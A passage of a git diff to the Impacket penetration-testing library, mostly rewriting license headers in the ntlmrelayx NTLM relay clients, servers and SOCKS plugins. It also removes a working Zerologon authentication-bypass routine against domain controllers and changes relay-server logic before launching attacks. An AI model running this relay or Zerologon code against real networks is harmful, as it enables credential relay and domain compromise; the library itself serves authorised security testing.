try: - av_pairs = authenticateMessage['ntlm'][44:] - av_pairs = AV_PAIRS(av_pairs) - - serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le') - except: - LOG.debug("Exception:", exc_info=True) - # We're in NTLMv1, not supported - return STATUS_ACCESS_DENIED - - binding = epm.hept_map(self.target.netloc, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') - - dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() - dce.connect() - dce.bind(nrpc.MSRPC_UUID_NRPC) - MAX_ATTEMPTS = 6000 - for attempt in range(0, MAX_ATTEMPTS): - resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'\x00'*8) - - serverChallenge = resp['ServerChallenge'] - - ppp = b'\x00'*8 - try: - nrpc.hNetrServerAuthenticate3(dce, NULL, serverName + '$\x00', - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, serverName + '\x00', - ppp, 0x212effef) - except nrpc.DCERPCSessionError as ex: - # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. - if ex.get_error_code() == 0xc0000022: - continue - else: - LOG.error('Unexpected error code from DC: %d.', ex.get_error_code()) - except BaseException as ex: - LOG.error('Unexpected error: %s', str(ex)) - LOG.info('Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!', attempt) - break - else: - LOG.error('No success bypassing auth after 6000 attempts. Target likely patched!') - return - clientStoredCredential = pack(' 2.0. To update, use: pip install ldap3 --upgrade") + LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: 'python -m pip install ldap3 --upgrade'") sys.exit(1) from impacket.examples.ntlmrelayx.clients import ProtocolClient diff --git a/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py b/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py index 6a8404cbce..25e0ce1d37 100644 --- a/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/mssqlrelayclient.py @@ -1,20 +1,21 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# MSSQL (TDS) Protocol Client +# Description: +# MSSQL (TDS) Protocol Client +# MSSQL client for relaying NTLMSSP authentication to MSSQL servers # # Author: # Alberto Solino (@agsolino) # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # -# Description: -# MSSQL client for relaying NTLMSSP authentication to MSSQL servers -# # ToDo: -# [ ] Handle SQL Authentication +# [ ] Handle SQL Authentication # import random import string diff --git a/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py index 7ac149c4dc..16a0bae5a6 100644 --- a/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/rpcrelayclient.py @@ -1,12 +1,14 @@ -# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Authors: -# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) -# Based on @agsolino and @_dirkjan code +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) +# Based on @agsolino and @_dirkjan code # from struct import unpack diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 3ebdd0a83a..8ab0fa6206 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -1,17 +1,19 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# SMB Relay Protocol Client +# Description: +# SMB Relay Protocol Client +# This is the SMB client which initiates the connection to an +# SMB server and relays the credentials to this server. # # Author: -# Alberto Solino (@agsolino) +# Alberto Solino (@agsolino) # -# Description: -# This is the SMB client which initiates the connection to an -# SMB server and relays the credentials to this server. import logging import os diff --git a/impacket/examples/ntlmrelayx/clients/smtprelayclient.py b/impacket/examples/ntlmrelayx/clients/smtprelayclient.py index b5d1927895..55dc3a7bc5 100644 --- a/impacket/examples/ntlmrelayx/clients/smtprelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smtprelayclient.py @@ -1,18 +1,19 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# SMTP Protocol Client +# Description: +# SMTP Protocol Client +# SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange # # Author: # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # Alberto Solino (@agsolino) # -# Description: -# SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange -# import smtplib import base64 from struct import unpack diff --git a/impacket/examples/ntlmrelayx/servers/__init__.py b/impacket/examples/ntlmrelayx/servers/__init__.py index 2cdbd053f4..d8db1ab827 100644 --- a/impacket/examples/ntlmrelayx/servers/__init__.py +++ b/impacket/examples/ntlmrelayx/servers/__init__.py @@ -1,3 +1,11 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer from impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index cb8e39ed40..651180e5dc 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -1,17 +1,20 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# HTTP Relay Server +# Description: +# HTTP Relay Server +# +# This is the HTTP server which relays the NTLMSSP messages to other protocols # # Authors: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# Alberto Solino (@agsolino) +# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # -# Description: -# This is the HTTP server which relays the NTLMSSP messages to other protocols import http.server import socketserver @@ -110,7 +113,7 @@ def should_serve_wpad(self, client): return False def serve_image(self): - with open(self.server.config.serve_image, 'r+') as imgFile: + with open(self.server.config.serve_image, 'rb') as imgFile: imgFile_data = imgFile.read() self.send_response(200, "OK") self.send_header('Content-type', 'image/jpeg') @@ -135,9 +138,9 @@ def do_OPTIONS(self): def do_PROPFIND(self): proxy = False if (".jpg" in self.path) or (".JPG" in self.path): - content = """http://webdavrelay/file/image.JPG/2016-11-12T22:00:22Zimage.JPG4456image/jpeg4ebabfcee4364434dacb043986abfffeMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" + content = b"""http://webdavrelay/file/image.JPG/2016-11-12T22:00:22Zimage.JPG4456image/jpeg4ebabfcee4364434dacb043986abfffeMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" else: - content = """http://webdavrelay/file/2016-11-12T22:00:22ZaMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" + content = b"""http://webdavrelay/file/2016-11-12T22:00:22ZaMon, 20 Mar 2017 00:00:22 GMT0HTTP/1.1 200 OK""" messageType = 0 if PY2: @@ -163,24 +166,42 @@ def do_PROPFIND(self): elif messageType == 3: authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) - if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: - LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( - self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), - authenticateMessage['user_name'].decode('utf-16le'))) - else: - LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( - self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), - authenticateMessage['user_name'].decode('ascii'))) - self.do_ntlm_auth(token, authenticateMessage) - self.do_attack() + if not self.do_ntlm_auth(token,authenticateMessage): + if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: + LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % ( + self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), + authenticateMessage['user_name'].decode('utf-16le'))) + else: + LOG.info("Authenticating against %s://%s as %s\\%s FAILED" % ( + self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), + authenticateMessage['user_name'].decode('ascii'))) + # Only skip to next if the login actually failed, not if it was just anonymous login or a system account + # which we don't want + if authenticateMessage['user_name'] != b'': + self.server.config.target.logTarget(self.target) + # No anonymous login, go to next host and avoid triggering a popup + self.do_REDIRECT() + else: + #If it was an anonymous login, send 401 + self.do_AUTHHEAD(b'NTLM', proxy=proxy) + else: + if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE: + LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( + self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), + authenticateMessage['user_name'].decode('utf-16le'))) + else: + LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( + self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'), + authenticateMessage['user_name'].decode('ascii'))) - self.send_response(207, "Multi-Status") - self.send_header('Content-Type', 'application/xml') - self.send_header('Content-Length', str(len(content))) - self.end_headers() - self.wfile.write(content) - return + self.do_attack() + self.send_response(207, "Multi-Status") + self.send_header('Content-Type', 'application/xml') + self.send_header('Content-Length', str(len(content))) + self.end_headers() + self.wfile.write(content) + return def do_AUTHHEAD(self, message = b'', proxy=False): if proxy: @@ -219,6 +240,15 @@ def do_CONNECT(self): return self.do_GET() def do_GET(self): + # Get the body of the request if any + # Otherwise, successive requests will not be handled properly + if PY2: + contentLength = self.headers.getheader("Content-Length") + else: + contentLength = self.headers.get("Content-Length") + if contentLength is not None: + body = self.rfile.read(int(contentLength)) + messageType = 0 if self.server.config.mode == 'REDIRECT': self.do_SMBREDIRECT() @@ -290,7 +320,7 @@ def do_GET(self): # Only skip to next if the login actually failed, not if it was just anonymous login or a system account # which we don't want - if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$': + if authenticateMessage['user_name'] != b'': # and authenticateMessage['user_name'][-1] != '$': self.server.config.target.logTarget(self.target) # No anonymous login, go to next host and avoid triggering a popup self.do_REDIRECT() @@ -371,7 +401,7 @@ def do_ntlm_auth(self,token,authenticateMessage): self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'))).upper() - if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1': + if authenticateMessage['user_name'] != b'' or self.target.hostname == '127.0.0.1': clientResponse, errorCode = self.client.sendAuth(token) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 7c70d89ba9..b5e6f5a957 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -1,18 +1,21 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# SMB Relay Server +# Description: +# SMB Relay Server +# +# This is the SMB server which relays the connections +# to other protocols # # Authors: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# Alberto Solino (@agsolino) +# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # -# Description: -# This is the SMB server which relays the connections -# to other protocols from __future__ import division from __future__ import print_function from threading import Thread @@ -69,6 +72,8 @@ def __init__(self,config): else: smbConfig.set("global", "SMB2Support", "False") + smbConfig.set("global", "anonymous_logon", "False") + if self.config.outputFile is not None: smbConfig.set('global','jtr_dump_path',self.config.outputFile) @@ -286,26 +291,20 @@ def SmbSessionSetup(self, connId, smbServer, recvPacket): client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) - if authenticateMessage['user_name'] != '': - # For some attacks it is important to know the authenticated username, so we store it - - self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), - authenticateMessage['user_name'].decode('utf-16le'))).upper() + self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), + authenticateMessage['user_name'].decode('utf-16le'))).upper() - if rawNTLM is True: - respToken2 = SPNEGO_NegTokenResp() - respToken2['ResponseToken'] = securityBlob - securityBlob = respToken2.getData() + if rawNTLM is True: + respToken2 = SPNEGO_NegTokenResp() + respToken2['ResponseToken'] = securityBlob + securityBlob = respToken2.getData() - if self.config.remove_mic: - clientResponse, errorCode = self.do_ntlm_auth(client, token, - connData['CHALLENGE_MESSAGE']['challenge']) - else: - clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob, - connData['CHALLENGE_MESSAGE']['challenge']) + if self.config.remove_mic: + clientResponse, errorCode = self.do_ntlm_auth(client, token, + connData['CHALLENGE_MESSAGE']['challenge']) else: - # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials - errorCode = STATUS_ACCESS_DENIED + clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob, + connData['CHALLENGE_MESSAGE']['challenge']) if errorCode != STATUS_SUCCESS: #Log this target as processed for this client @@ -374,10 +373,7 @@ def smb2TreeConnect(self, connId, smbServer, recvPacket): try: if self.config.mode.upper () == 'REFLECTION': self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) - if self.authUser == '/': - LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % - (connId, connData['ClientIP'])) - return self.origsmb2TreeConnect (connId, smbServer, recvPacket) + self.target = self.targetprocessor.getTarget(identity = self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later @@ -539,17 +535,11 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) + self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), + authenticateMessage['user_name'].decode('utf-16le'))).upper() - if authenticateMessage['user_name'] != '': - #For some attacks it is important to know the authenticated username, so we store it - self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), - authenticateMessage['user_name'].decode('utf-16le'))).upper() - - clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'], - connData['CHALLENGE_MESSAGE']['challenge']) - else: - # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials - errorCode = STATUS_ACCESS_DENIED + clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'], + connData['CHALLENGE_MESSAGE']['challenge']) if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again @@ -698,10 +688,7 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): try: if self.config.mode.upper () == 'REFLECTION': self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP']) - if self.authUser == '/': - LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' % - (connId, connData['ClientIP'])) - return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) + self.target = self.targetprocessor.getTarget(identity = self.authUser) if self.target is None: # No more targets to process, just let the victim to fail later diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py b/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py index 0782d2bb28..978f97f068 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/__init__.py @@ -1,3 +1,11 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# import os import sys import pkg_resources diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/http.py b/impacket/examples/ntlmrelayx/servers/socksplugins/http.py index a6abc2dc7a..cade9db00d 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/http.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/http.py @@ -1,18 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# A Socks Proxy for the HTTP Protocol -# -# Author: -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# # Description: +# Socks Proxy for the HTTP Protocol +# # A simple SOCKS server that proxies a connection to relayed HTTP connections # -# ToDo: +# Author: +# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # import base64 diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/https.py b/impacket/examples/ntlmrelayx/servers/socksplugins/https.py index 01bde85df9..44bcf5d9a0 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/https.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/https.py @@ -1,20 +1,19 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# A Socks Proxy for the HTTPS Protocol +# Description: +# Socks Proxy for the HTTPS Protocol +# +# A simple SOCKS server that proxies a connection to relayed HTTPS connections # # Author: # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # -# Description: -# A simple SOCKS server that proxies a connection to relayed HTTPS connections -# -# ToDo: -# - from impacket import LOG from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py b/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py index fc60f547d9..d0ea8d12d0 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/imap.py @@ -1,18 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# A Socks Proxy for the IMAP Protocol -# -# Author: -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# # Description: -# A simple SOCKS server that proxies a connection to relayed IMAP connections +# Socks Proxy for the IMAP Protocol +# +# A simple SOCKS server that proxies a connection to relayed IMAP connections # -# ToDo: +# Author: +# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # import base64 diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py b/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py index 0a2821c9d5..881df7d6e3 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/imaps.py @@ -1,18 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# A Socks Proxy for the IMAPS Protocol -# -# Author: -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# # Description: -# A simple SOCKS server that proxies a connection to relayed IMAPS connections +# Socks Proxy for the IMAPS Protocol +# +# A simple SOCKS server that proxies a connection to relayed IMAPS connections # -# ToDo: +# Author: +# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # from impacket import LOG from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py b/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py index 8d87df6f2a..7ca075cb9f 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/mssql.py @@ -1,18 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# A Socks Proxy for the MSSQL Protocol -# -# Author: -# Alberto Solino (@agsolino) -# # Description: -# A simple SOCKS server that proxy connection to relayed connections +# A Socks Proxy for the MSSQL Protocol +# +# A simple SOCKS server that proxy connection to relayed connections # -# ToDo: +# Author: +# Alberto Solino (@agsolino) # import struct diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py b/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py index 605f0ea0af..d1008af882 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py @@ -1,18 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# A Socks Proxy for the SMB Protocol -# -# Author: -# Alberto Solino (@agsolino) -# # Description: -# A simple SOCKS server that proxy connection to relayed connections +# A Socks Proxy for the SMB Protocol +# +# A simple SOCKS server that proxy connection to relayed connections # -# ToDo: +# Author: +# Alberto Solino (@agsolino) # import calendar import time diff --git a/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py b/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py index dd3ae2e054..5b3344af73 100644 --- a/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py +++ b/impacket/examples/ntlmrelayx/servers/socksplugins/smtp.py @@ -1,18 +1,18 @@ -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# A Socks Proxy for the SMTP Protocol -# -# Author: -# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) -# # Description: -# A simple SOCKS server that proxies a connection to relayed SMTP connections +# A Socks Proxy for the SMTP Protocol +# +# A simple SOCKS server that proxies a connection to relayed SMTP connections # -# ToDo: +# Author: +# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) # import base64 diff --git a/impacket/examples/ntlmrelayx/servers/socksserver.py b/impacket/examples/ntlmrelayx/servers/socksserver.py index 7e332a4fc5..d2de32f977 100644 --- a/impacket/examples/ntlmrelayx/servers/socksserver.py +++ b/impacket/examples/ntlmrelayx/servers/socksserver.py @@ -1,22 +1,25 @@ #!/usr/bin/env python -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# SOCKS proxy server/client -# -# Author: -# Alberto Solino (@agsolino) -# # Description: +# SOCKS proxy server/client +# # A simple SOCKS server that proxy connection to relayed connections # +# Author: +# Alberto Solino (@agsolino) +# # ToDo: -# [ ] Handle better the SOCKS specification (RFC1928), e.g. BIND -# [ ] Port handlers should be dynamically subscribed, and coded in another place. This will help coding -# proxies for different protocols (e.g. MSSQL) +# [ ] Handle better the SOCKS specification (RFC1928), e.g. BIND +# [ ] Port handlers should be dynamically subscribed, and coded in another place. This will help coding +# proxies for different protocols (e.g. MSSQL) +# from __future__ import division from __future__ import print_function import socketserver @@ -224,7 +227,7 @@ def activeConnectionsWatcher(server): # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use server.activeRelays[target][port]['scheme'] = scheme - # Default values in case somebody asks while we're gettting the data + # Default values in case somebody asks while we're getting the data server.activeRelays[target][port][userName]['isAdmin'] = 'N/A' # Do we have admin access in this connection? try: @@ -302,7 +305,7 @@ def handle(self): if self.__socksVersion == 5: # We need to answer back with a no authentication response. We're not dealing with auth for now - self.__connSocket.sendall(str(SOCKS5_GREETINGS_BACK())) + self.__connSocket.sendall(SOCKS5_GREETINGS_BACK().getData()) data = self.__connSocket.recv(8192) request = SOCKS5_REQUEST(data) else: diff --git a/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py index 57d7942e27..b7bd8097c4 100644 --- a/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py @@ -1,26 +1,30 @@ # -*- coding: utf-8 -*- -# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# Impacket - Collection of Python classes for working with network protocols. # -# This software is provided under under a slightly modified version +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # -# WCF Relay Server +# Description: +# WCF Relay Server +# +# This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols +# Only NetTcpBinding is supported! # # Author: -# Clément Notin (@cnotin) -# With code copied from smbrelayserver.py and httprelayserver.py authored by: -# Alberto Solino (@agsolino) -# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# Clément Notin (@cnotin) +# With code copied from smbrelayserver.py and httprelayserver.py authored by: +# Alberto Solino (@agsolino) +# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) +# +# References: +# To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and +# ".NET NegotiateStream Protocol" [MS-NNS] +# Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py +# and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re # -# Description: -# This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols -# Only NetTcpBinding is supported! - -# To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and -# ".NET NegotiateStream Protocol" [MS-NNS] -# Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py -# and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re import socket import socketserver diff --git a/impacket/examples/ntlmrelayx/utils/__init__.py b/impacket/examples/ntlmrelayx/utils/__init__.py index 2ae28399f5..b2b0c68da4 100644 --- a/impacket/examples/ntlmrelayx/utils/__init__.py +++ b/impacket/examples/ntlmrelayx/utils/__init__.py @@ -1 +1,9 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# pass diff --git 